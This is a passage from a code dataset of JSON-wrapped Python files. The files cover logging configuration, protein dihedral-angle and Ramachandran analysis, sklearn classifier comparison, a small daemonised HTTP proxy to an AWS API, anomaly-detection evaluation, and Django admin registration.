"line_number": 282, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 301, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 303, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 320, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 322, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 323, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 345, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 349, "usage_type": "call"}, {"api_name": "keras.backend.abs", "line_number": 356, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 356, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 357, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 357, "usage_type": "name"}, {"api_name": "keras.backend.abs", "line_number": 358, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 358, "usage_type": "name"}, {"api_name": "tensorflow.where", "line_number": 359, "usage_type": "call"}]} {"seq_id": "283064682", "text": "import logging\nimport logging.config\n\n# handlers set to lowest level: DEBUG, allowing all messages\n# The logger may have a higher level\nconsole_handler = {\n 'class': 'logging.StreamHandler',\n 'formatter': 'precise',\n 'level': logging.DEBUG\n}\n\nnull_handler = {\n 'class': 'logging.NullHandler'\n}\n\n# this is default logging dict. It is modified before being activated\nlog_config = dict(\n version=1,\n disable_existing_loggers=False,\n formatters={\n 'precise': {\n 'format': u'%(asctime)s %(levelname)-8s [%(filename)s:%(lineno)d] (%(threadName)s) %(message)s'\n }\n },\n handlers={\n 'console': console_handler\n },\n loggers={\n 'book_service': {\n 'handlers': ['console'],\n 'level': logging.info,\n 'propagate': False,\n },\n },\n root={\n 'handlers': ['console'],\n 'level': logging.DEBUG,\n 'propagate': True,\n }\n)\n\ndef _configure_log_levels(loglevel):\n if not loglevel:\n return\n\n level_mapping = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL}\n level = level_mapping[loglevel]\n log_config['root']['level'] = level\n\n for logger in log_config['loggers']:\n log_config['loggers'][logger]['level'] = level\n\ndef set_log_level(program_mode, loglevel=None):\n if program_mode == 'prod':\n loglevel = 'info'\n else:\n loglevel = 'debug'\n\n _configure_log_levels(loglevel)\n\n logging.config.dictConfig(log_config)\n", "sub_path": "app/logging_config.py", "file_name": "logging_config.py", "file_ext": "py", "file_size_in_byte": 1601, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.DEBUG", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 37, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 47, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 48, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 49, "usage_type": "attribute"}, {"api_name": "logging.ERROR", "line_number": 50, "usage_type": "attribute"}, {"api_name": "logging.CRITICAL", "line_number": 51, "usage_type": "attribute"}, {"api_name": "logging.config.dictConfig", "line_number": 66, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 66, "usage_type": "attribute"}]} {"seq_id": "413429298", "text": "import pandas as pd\nimport numpy as np\nimport json\nfrom scrape_pdb import pdb_parser\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\n\n# utilities to analyze the pdb data parsed out by pdb_parser class in scrape_pdb.py\nclass pdb_utilities:\n def __init__(self, df_atom, df_helix, df_sheet):\n self.df_atom = df_atom\n self.df_helix = df_helix\n self.df_sheet = df_sheet\n self.df_aa = pd.DataFrame()\n self.type_helix = {\n '0': 'unknown',\n '1': 'right-handed alpha',\n '2': 'right-handed omega',\n '3': 'right-handed psi',\n '4': 'right-handed gama',\n '5': 'right-handed 3-10',\n '6': 'left-handed alpha',\n '7': 'left-handed omega',\n '8': 'left-handed gamma',\n '9': '2-7 ribbon/hex',\n '10': 'polyproline'\n }\n self.df_atom['new_index'] = self.df_atom.apply(lambda x: x['protein_name']+x['res_seq']+x['atom_name'], axis=1)\n self.df_atom = self.df_atom.set_index('new_index')\n self.dict_coordinates = self.build_coordinates_lookup()\n\n def find_coordinates_atom(self, protein_name: str, atom_name: str):\n # l_atom_name = atom_name.split('.')\n # found_atom = self.df_atom[(self.df_atom['res_seq'] == l_atom_name[0]) &\n # (self.df_atom['atom_name'] == l_atom_name[1])]\n # if protein_name:\n # found_atom = found_atom[found_atom['protein_name'] == protein_name]\n # found_atom = self.df_atom.loc[protein_name + atom_name.replace('.', '')]\n \n # return {'x': float(found_atom['x']), \n # 'y': float(found_atom['y']), \n # 'z': float(found_atom['z'])}\n c = self.dict_coordinates[protein_name + atom_name.replace('.', '')]\n return {'x': float(c['x']), 'y': float(c['y']), 'z': float(c['z'])}\n\n @staticmethod\n def listify_coordinates(d: dict):\n return np.array([d['x'], d['y'], d['z']])\n\n def calculate_angle(self, protein_name: str, seq_aa:str, typ: str):\n try:\n if typ == 'phi':\n coord_c = self.find_coordinates_atom(protein_name, str(int(seq_aa)-1) + '.C')\n coord_n = self.find_coordinates_atom(protein_name, seq_aa + '.N')\n coord_ca = self.find_coordinates_atom(protein_name, seq_aa + '.CA')\n coord_c_2 = self.find_coordinates_atom(protein_name, seq_aa+'.C')\n return self.calculate_dihedral([self.listify_coordinates(coord_c), \n self.listify_coordinates(coord_n), \n self.listify_coordinates(coord_ca), \n self.listify_coordinates(coord_c_2)])\n elif typ == 'psi':\n coord_n = self.find_coordinates_atom(protein_name, seq_aa + '.N')\n coord_ca = self.find_coordinates_atom(protein_name, seq_aa + '.CA')\n coord_c = self.find_coordinates_atom(protein_name, seq_aa + '.C')\n coord_n_2 = self.find_coordinates_atom(protein_name, str(int(seq_aa)+1) + '.N')\n return self.calculate_dihedral([self.listify_coordinates(coord_n), \n self.listify_coordinates(coord_ca), \n self.listify_coordinates(coord_c), \n self.listify_coordinates(coord_n_2)])\n \n # specify float exception in find_coordinate function if atom is not found\n except FloatingPointError:\n print('Floating point error occurred!! {} {} {}'.format(protein_name, seq_aa, typ))\n return None\n except TypeError:\n # print('coordinates not found!', protein_name, seq_aa, typ)\n return None\n except KeyError:\n # print('atom not found!', protein_name, seq_aa, typ)\n return None\n\n\n @staticmethod\n def calculate_dihedral(list_coords):\n v1 = list_coords[0] - list_coords[1]\n v2 = list_coords[2] - list_coords[1]\n v3 = list_coords[3] - list_coords[2]\n\n v1xv2 = np.cross(v1, v2)\n v2xv3 = np.cross(v3, v2)\n\n v1xv2_x_v2xv3 = np.cross(v1xv2, v2xv3)\n\n y = np.dot(v1xv2_x_v2xv3, v2)/np.linalg.norm(v2)\n x = np.dot(v1xv2, v2xv3)\n\n return round(np.degrees(np.arctan2(y, x)), 3) \n\n def plot_ramachandran(self, df: pd.DataFrame, alpha: float, s: float, colorcode_by: str=''):\n plt.grid()\n plt.xlabel('phi')\n plt.ylabel('psi')\n if colorcode_by:\n classes = list(np.unique(df[colorcode_by]))\n colors = cm.rainbow(np.linspace(0, 1, len(classes)))\n for cl, c in zip(classes, colors):\n df_tmp = df[df[colorcode_by] == cl]\n plt.scatter(df_tmp['phi'], df_tmp['psi'], alpha=alpha, color=c, s=s)\n plt.legend(classes)\n else:\n plt.scatter(df['phi'], df['psi'], alpha=alpha, s=s)\n\n \n def build_ramachandran_aa(self, res_name):\n df_aa = self.df_atom[self.df_atom['res_name'] == res_name][['protein_name', 'res_seq']].drop_duplicates(keep='first')\n df_aa['psi'] = df_aa.apply(lambda x: self.calculate_angle(x['protein_name'], x['res_seq'], 'psi'), axis=1)\n df_aa['phi'] = df_aa.apply(lambda x: self.calculate_angle(x['protein_name'], x['res_seq'], 'phi'), axis=1)\n # self.plot_ramachandran(df_aa)\n return df_aa\n\n def build_ramachandran_helices(self):\n df_helices_ramanchandran = pd.DataFrame()\n l_dict_ramanchandra = list()\n\n for helix in self.df_helix[['protein_name', 'helix_class', 'init_seq_num', 'end_seq_num', 'init_chain_id', 'end_chain_id']].values:\n if helix[4] != helix[5]:\n print('end_chain_id and init_chain_id not matching!!!!!', helix[4], helix[5])\n else:\n for i in range(int(helix[2]), int(helix[3])+1):\n dict_helix = {\n 'helix_type': self.type_helix[helix[1]],\n 'helix_class': helix[1],\n 'protein_name': helix[0],\n 'aa_seq_num': str(i),\n 'psi': self.calculate_angle(helix[0], str(i), 'psi'),\n 'phi': self.calculate_angle(helix[0], str(i), 'phi')\n }\n # print(dict_helix)\n l_dict_ramanchandra += [dict_helix]\n \n df_helices_ramanchandran = pd.read_json(json.dumps(l_dict_ramanchandra))\n return df_helices_ramanchandran\n \n def build_coordinates_lookup(self):\n dict_coordinates = dict()\n\n import time\n print('building coordinates...')\n now = time.time()\n\n for index, row in self.df_atom.iterrows():\n dict_coordinates[index] = {'x': row['x'], 'y': row['y'], 'z': row['z']}\n \n print('build_coordinates_lookup took {}s.....'.format(time.time()-now))\n\n return dict_coordinates\n\n\nif __name__ == '__main__':\n pdb_parser = pdb_parser(100)\n pdb_utilities = pdb_utilities(pdb_parser.df_atom, \n pdb_parser.df_helix, \n pdb_parser.df_sheet)\n # print(pdb_parser.df_atom[pdb_parser.df_atom['protein_name'] == '12AS'])\n # print(pdb_utilities.calculate_angle('12ASA', '327', 'psi'))\n # pdb_utilities.build_ramachandran_aa('VAL')\n print(pdb_utilities.build_ramachandran_helices())\n", "sub_path": "utilities.py", "file_name": "utilities.py", "file_ext": "py", "file_size_in_byte": 7557, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.DataFrame", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.cross", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.degrees", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 99, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.cm.rainbow", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 122, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 141, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 141, "usage_type": "call"}, {"api_name": "time.time", "line_number": 149, "usage_type": "call"}, {"api_name": "time.time", "line_number": 154, "usage_type": "call"}, {"api_name": "scrape_pdb.pdb_parser", "line_number": 160, "usage_type": "name"}, {"api_name": "scrape_pdb.pdb_parser.df_atom", "line_number": 161, "usage_type": "attribute"}, {"api_name": "scrape_pdb.pdb_parser", "line_number": 161, "usage_type": "name"}, {"api_name": "scrape_pdb.pdb_parser.df_helix", "line_number": 162, "usage_type": "attribute"}, {"api_name": "scrape_pdb.pdb_parser", "line_number": 162, "usage_type": "name"}, {"api_name": "scrape_pdb.pdb_parser.df_sheet", "line_number": 163, "usage_type": "attribute"}, {"api_name": "scrape_pdb.pdb_parser", "line_number": 163, "usage_type": "name"}, {"api_name": "{'time': 'time'}.build_ramachandran_helices", "line_number": 167, "usage_type": "call"}]} {"seq_id": "233150120", "text": "from sklearn.cross_validation import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn import preprocessing\r\nfrom sklearn.ensemble import RandomForestClassifier \r\nfrom sklearn.metrics import log_loss\r\nimport pandas as pd \r\n\r\nmerge_userid2=pd.read_csv('All_merge_userid_all.csv')\r\nmerge_userid2=merge_userid2.dropna()\r\n\r\nX=merge_userid2[['user_id','merchant_id','age_range','gender','item_id','cat_id','brand_id','time_stamp','action_type']]\r\n#print(X)\r\nY=merge_userid2['label']\r\n#print(Y)\r\n\r\nmin_max_scaler=preprocessing.MinMaxScaler()\r\nmin_max_X=min_max_scaler.fit_transform(X)\r\n#min_max_Y=min_max_scaler.fit_transform(Y)\r\nmin_max_Y=Y\r\n#print(min_max_Y)\r\n#print(min_max_X)\r\n\r\nX_train,X_test,Y_train,Y_test=train_test_split(min_max_X,min_max_Y,test_size=0.3)\r\nlr=LogisticRegression()\r\nlr.fit(X_train,Y_train)\r\nprint('LogisticRegression score:',lr.score(X_test,Y_test))\r\ny_lr=lr.predict(X_test)\r\nprint('LogisticRegression log_loss:',log_loss(Y_test,y_lr))\r\n\r\nRF = RandomForestClassifier()\r\nRF = RF.fit(X_train,Y_train)\r\nprint('RandomForest score:',RF.score(X_test,Y_test))\r\ny_rf=RF.predict(X_test)\r\nprint('RandomForest logloss:',log_loss(Y_test,y_rf))\r\n\r\n#print(lr.predict(X_test)[:40])\r\n#print(Y_test[:40])\r\n#X_train,X_test,Y_train,Y_test=train_test_split(iris_X,iris_Y,test_size=0.3)\r\n#knn=KNeighborsClassifier()\r\n#knn.fit(X_train,Y_train)\r\n#print(knn.score(X_test,Y_test))\r\n#print(knn.predict(X_test))\r\n#print(Y_test)\r\n", "sub_path": "作业2/src/rf.py", "file_name": "rf.py", "file_ext": "py", "file_size_in_byte": 1519, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 17, "usage_type": "name"}, {"api_name": "sklearn.cross_validation.train_test_split", "line_number": 24, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.metrics.log_loss", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.metrics.log_loss", "line_number": 35, "usage_type": "call"}]} {"seq_id": "629893948", "text": "__author__ = 'petru'\n\nimport logging\nimport urllib.request\nimport ssl\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport os \nimport sys\nimport atexit\nimport signal\n\n\nPORT = 8080\nPIDFILE = 'httpd.pid'\n\nclass Redirect(BaseHTTPRequestHandler):\n\tdef do_GET(self):\n\t\ttry:\n\t\t\taws_api = 'https://xxxxx.execute-api.eu-west-1.amazonaws.com/prod'\n\t\t\turl = '{aws}{path}'.format(aws=aws_api, path=self.path)\n\t\t\tcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n\t\t\treq = urllib.request.Request(url)\n\t\t\treq.add_header('x-api-key', 'xxxxx')\n\t\t\twith urllib.request.urlopen(req, context=context) as f:\n\t\t\t\tresponse = f.read()\n\t\t\t\tlogging.info('{code} - {response}'.format(code=f.getcode(), response=response))\n\t\t\t\tself.send_response(f.getcode())\n\t\t\t\tself.end_headers()\n\t\t\t\tself.wfile.write(response)\n\t\t\treturn\n\t\texcept Exception as e:\n\t\t\tlogging.error(e)\n\n\ndef create_daemon(pidfile, *, stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'):\n\tif os.path.exists(pidfile):\n\t\traise RuntimeError('Already running')\n\t# detach from parent\t\n\ttry:\n\t\tif os.fork() > 0:\n\t\t\traise SystemExit(0) # parent exit\n\n\texcept OSError as e:\n\t\traise RuntimeError('Failed first fork().') \n\n\t#os.chdir('/')\t\n\tos.umask(0)\n\tos.setsid()\n\n\t#relinquish the session leader\n\ttry:\n\t\tif os.fork() > 0:\n\t\t\traise SystemExit(0) # parent exit\n\n\texcept OSError as e:\n\t\traise RuntimeError('Failed second fork().') \n\n\t#Flush buffers\n\tsys.stdout.flush()\n\tsys.stderr.flush()\n\n\twith open(stdin, 'rb', 0) as f:\n\t\tos.dup2(f.fileno(), sys.stdin.fileno())\n\twith open(stdout, 'ab', 0) as f:\n\t\tos.dup2(f.fileno(), sys.stdout.fileno())\t\n\twith open(stderr, 'ab', 0) as f:\n\t\tos.dup2(f.fileno(), sys.stderr.fileno())\n\n\t#write the pidfile\n\twith open(pidfile, 'w') as f:\n\t\tprint(os.getpid(), file=f)\n\n\t#remove the pidfile on exit\n\tatexit.register(lambda: os.remove(pidfile))\t\n\n\t# Signal handler for termination (required)\n\tdef sigterm_handler(signo, frame):\n\t\traise SystemExit(1)\n\n\tsignal.signal(signal.SIGTERM, sigterm_handler)\n\n\n\t\t\t\t\n\n\n\n\ndef main():\n\tFORMAT_LOG = '%(asctime)-15s %(message)s'\n\n\tlogging.basicConfig(filename='python-httpd.log', level=logging.INFO, format=FORMAT_LOG)\n\tcreate_daemon(PIDFILE, stdout='python-httpd.log',stderr='python-httpd.log')\n\thttpd = HTTPServer(('', PORT), Redirect)\n\tlogging.info(\"serving at port {port}\".format(port=PORT))\n\thttpd.serve_forever()\n\nif __name__ == '__main__':\n\n\tmain()\n\n", "sub_path": "Other/http_proxy.py", "file_name": "http_proxy.py", "file_ext": "py", "file_size_in_byte": 2369, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "http.server.BaseHTTPRequestHandler", "line_number": 17, "usage_type": "name"}, {"api_name": "ssl.SSLContext", "line_number": 22, "usage_type": "call"}, {"api_name": "ssl.PROTOCOL_TLSv1_2", "line_number": 22, "usage_type": "attribute"}, {"api_name": "urllib.request.request.Request", "line_number": 23, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 23, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 23, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 25, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.fork", "line_number": 41, "usage_type": "call"}, {"api_name": "os.umask", "line_number": 48, "usage_type": "call"}, {"api_name": "os.setsid", "line_number": 49, "usage_type": "call"}, {"api_name": "os.fork", "line_number": 53, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 60, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 60, "usage_type": "attribute"}, {"api_name": "sys.stderr.flush", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.dup2", "line_number": 64, "usage_type": "call"}, {"api_name": "sys.stdin.fileno", "line_number": 64, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.dup2", "line_number": 66, "usage_type": "call"}, {"api_name": "sys.stdout.fileno", "line_number": 66, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.dup2", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.stderr.fileno", "line_number": 68, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.getpid", "line_number": 72, "usage_type": "call"}, {"api_name": "atexit.register", "line_number": 75, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 75, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 81, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 81, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 92, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 92, "usage_type": "attribute"}, {"api_name": "http.server.HTTPServer", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 95, "usage_type": "call"}]} {"seq_id": "141047897", "text": "# some_file.py\nimport sys\n# insert at 1, 0 is the script path (or '' in REPL)\nsys.path.insert(1, '/tf/jovyan/work')\n\nimport logging\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport numpy.random as rnd\nfrom sklearn.metrics import f1_score\n\nfrom ad_examples.common.utils import read_csv, dataframe_to_matrix\nfrom ad_examples.common.gen_samples import get_synthetic_samples\nfrom ad_examples.common.nn_utils import AutoencoderAnomalyDetector\nfrom ad_examples.aad.aad_support import AadOpts, get_aad_command_args, configure_logger\nfrom ad_examples.aad.forest_description import CompactDescriber, MinimumVolumeCoverDescriber, BayesianRulesetsDescriber, get_region_memberships\nfrom ad_examples.aad.demo_aad import get_debug_args, detect_anomalies_and_describe\n\nfrom ad_examples.loda.loda import Loda\n\nfrom .utils import calculateQuantilesForDf\n\nlogger = logging.getLogger(__name__)\n\ndef convert_scores_to_classes(scores, anomaly_ratio):\n \"\"\"\n Converts list of scores to flags (0/1) - top anomalies are marked as 1.\n \"\"\"\n anomaly_cnt = int(len(scores) * anomaly_ratio)\n anomaly_indices = np.array(scores).argsort()[-anomaly_cnt:][::-1]\n y_pred = np.zeros(len(scores))\n np.put(y_pred, anomaly_indices, 1)\n return y_pred\n\n\ndef load_data():\n print(\"loading csv...\")\n data_df = read_csv(\"../notebooks/data/simple.type123.csv\", header=True)\n\n print(\"filtering out some columns...\")\n cols = list(data_df.columns)\n cols_to_drop1 = [x for x in cols if x.endswith(\".errors\")]\n cols_to_drop2 = [x for x in cols if x.endswith(\".requests\")]\n data_df = data_df.drop(cols_to_drop1, axis=1)\n data_df = data_df.drop(cols_to_drop2, axis=1)\n calculateQuantilesForDf(data_df, 300, [\"is_anomaly\"])\n\n print(\"transforming data to matrix...\")\n x, y = dataframe_to_matrix(data_df)\n return (x, y)\n\n\ndef slice_data(x, y, idx_from, idx_to):\n n = x.shape[0]\n return (x[idx_from:idx_to, :], y[idx_from:idx_to])\n\n\ndef run_detector(x_old, scores_old, x_new, outliers_fraction):\n rnd.seed(42)\n\n print(\"running LODA...\")\n ad = Loda(mink=100, maxk=200)\n\n # print(\"running auto-encoder...\")\n # input_dims = x_old.shape[1]\n # ad = AutoencoderAnomalyDetector(\n # n_inputs = input_dims,\n # n_neurons = [2 * input_dims, round( input_dims/ 5), 2 * input_dims],\n # normalize_scale = True,\n # activations=[tf.nn.tanh, tf.nn.tanh, tf.nn.tanh, None]\n # )\n\n ad.fit(x_old)\n if len(scores_old) == 0:\n print(\"Calculating inital scores\")\n scores_old = -ad.decision_function(x_old)\n\n print(\"Evaluating...\")\n scores = -ad.decision_function(x_new)\n\n print(\"Combining with historic scores and converting to classes...\")\n # print(scores_old)\n # print(scores)\n scores_combined = np.concatenate((np.array(scores_old), np.array(scores)), 0)\n y_pred_combined = convert_scores_to_classes(scores_combined, outliers_fraction)\n y_pred = y_pred_combined[len(scores_old):]\n\n return (scores_combined, y_pred)\n\n#################################################################################\n\n(gt_x, gt_y) = load_data()\n\nday_rec_cnt = 24 * 12\nblock_size = 7 * day_rec_cnt\nidx_start = 60 * day_rec_cnt\nidx_curr_time = idx_start\nn = gt_y.shape[0]\nscores_all = np.zeros(0)\ny_pred = np.zeros(0)\noutlier_fraction = 0.03\n\nwhile idx_curr_time < n :\n print(n, idx_curr_time, block_size)\n (x1, y1) = slice_data(gt_x, gt_y, 0, idx_curr_time)\n (x2, y2) = slice_data(gt_x, gt_y, idx_curr_time, idx_curr_time + block_size)\n (scores_all, y_pred_new) = run_detector(x1, scores_all, x2, outlier_fraction)\n y_pred = np.concatenate((np.array(y_pred), np.array(y_pred_new)), 0)\n idx_curr_time = idx_curr_time + block_size\n y_tmp = gt_y[idx_start:idx_curr_time]\n f1 = f1_score(y_tmp, y_pred, average=None) # average='weighted')\n print(f1)\n\n\nprint(\"finished with training, analyzing combined output\")\ny = gt_y[idx_start:]\n\nprint(\"Calculating F1 scores...\")\nf1 = f1_score(y, y_pred, average=None) # average='weighted')\nprint(f1)\n", "sub_path": "docker/flat/test_pandas.py", "file_name": "test_pandas.py", "file_ext": "py", "file_size_in_byte": 4034, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.put", "line_number": 33, "usage_type": "call"}, {"api_name": "ad_examples.common.utils.read_csv", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.calculateQuantilesForDf", "line_number": 47, "usage_type": "call"}, {"api_name": "ad_examples.common.utils.dataframe_to_matrix", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 60, "usage_type": "name"}, {"api_name": "ad_examples.loda.loda.Loda", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 120, "usage_type": "call"}]} {"seq_id": "596989603", "text": "from django.contrib import admin\nfrom store_form.models import add_store, correct_store\nfrom import_export import resources\nfrom import_export.admin import ImportExportModelAdmin\n\n# Register your models here.\nclass AddStoreResource(resources.ModelResource):\n class Meta:\n model = add_store\n\n@admin.register(add_store)\nclass AddStoreAdmin(ImportExportModelAdmin):\n resource_class = AddStoreResource\n fields = ('name', 'adress',\n 'shop_domain', 'opennig_hours', 'categories')\n list_display = ('name', 'adress', 'categories')\n\nclass CorrectStoreResource(resources.ModelResource):\n class Meta:\n model = correct_store\n\n@admin.register(correct_store)\nclass CorrectStoreAdmin(ImportExportModelAdmin):\n resource_class = CorrectStoreResource\n fields = ('name', 'adress',\n 'shop_domain', 'opennig_hours', 'categories')\n list_display = ('name', 'adress', 'categories')", "sub_path": "store_form/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 923, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "import_export.resources.ModelResource", "line_number": 7, "usage_type": "attribute"}, {"api_name": "import_export.resources", "line_number": 7, "usage_type": "name"}, {"api_name": "store_form.models.add_store", "line_number": 9, "usage_type": "name"}, {"api_name": "import_export.admin.ImportExportModelAdmin", "line_number": 12, "usage_type": "name"}, {"api_name": "django.contrib.admin.register", "line_number": 11, "usage_type": "call"}, {"api_name": "store_form.models.add_store", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.contrib.admin", "line_number": 11, "usage_type": "name"}, {"api_name": "import_export.resources.ModelResource", "line_number": 18, "usage_type": "attribute"}, {"api_name": "import_export.resources", "line_number": 18, "usage_type": "name"}, {"api_name": "store_form.models.correct_store", "line_number": 20, "usage_type": "name"}, {"api_name": "import_export.admin.ImportExportModelAdmin", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.admin.register", "line_number": 22, "usage_type": "call"}, {"api_name": "store_form.models.correct_store", "line_number": 22, "usage_type": "argument"}, {"api_name": "django.contrib.admin", "line_number": 22, "usage_type": "name"}]} {"seq_id": "555579916", "text": "#import matplotlib.pyplot as p\n#\n#p.plot([5, 6, 7, 8], [1, 2, 3, 4], 'ro')\n#p.ylabel('numbazz')\n#p.xlabel('idfk')\n#p.axis([0, 10, 0, 10])\n#p.show()\n\n#import numpy as n\n#import matplotlib.pyplot as p\n#\n## evenly sampled time at 200ms intervals\n#x = n.arange(0., 5., 0.2)\n#y1 = x**2\n#y2 = x**2 + 1\n#\n##p.plot(t, t, 'r--', t, t**2, 'bs', 